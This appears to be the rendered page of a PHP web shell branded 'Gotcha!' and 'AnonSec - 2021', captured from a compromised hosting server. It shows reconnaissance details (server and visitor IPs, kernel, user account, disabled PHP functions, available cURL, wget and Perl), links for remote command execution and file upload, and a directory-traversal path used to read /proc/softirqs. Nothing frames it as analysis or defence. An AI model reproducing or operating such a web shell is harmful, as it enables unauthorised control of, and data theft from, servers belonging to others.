Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../../alsa/../../../proc/tty/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../../alsa/../../../proc/tty/../softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17159900   46689858   27345470   38276552   25848135   39356856   31307110   20244472   26845510   23261179   25354163   24875392  109668670   15291627   34958842   25004486
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27588897   70622097   40497537   98746713   36279544  124496620   34800158   33380401   52588236   58659980   50646190   37078701   53400669   26768241  106141150  114387638
       BLOCK:    1274229    2158571    1971752    1574443    1310966    1336939    1340046    1262239    1419309    1197392    1068392    1280974    1239836    1271073    1420169    1550123
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5487708   13647662    4084247   25008531    7964683   31528161    8312087    6801027   11754400    7804119   15988745    9391080   15251486    4429044   24587660    4293489
       SCHED:   43452021   21103403   13901447   17646840   11538961   19871988   11880524   10137778   12899648   13325878   10822342   13513973   23166093    9132458   17352207   22590304
     HRTIMER:       2058       5321       3641       9169       2230      15087       1655       2579       4921       2690       5652       4240       7073       1398       9213       1367
         RCU:   42644736   77677223   54773662   90126039   52260310  108746387   53219684   45984809   60451504   73615996   47150215   48551133   98892560   41431853   97953494  147858324

AnonSec - 2021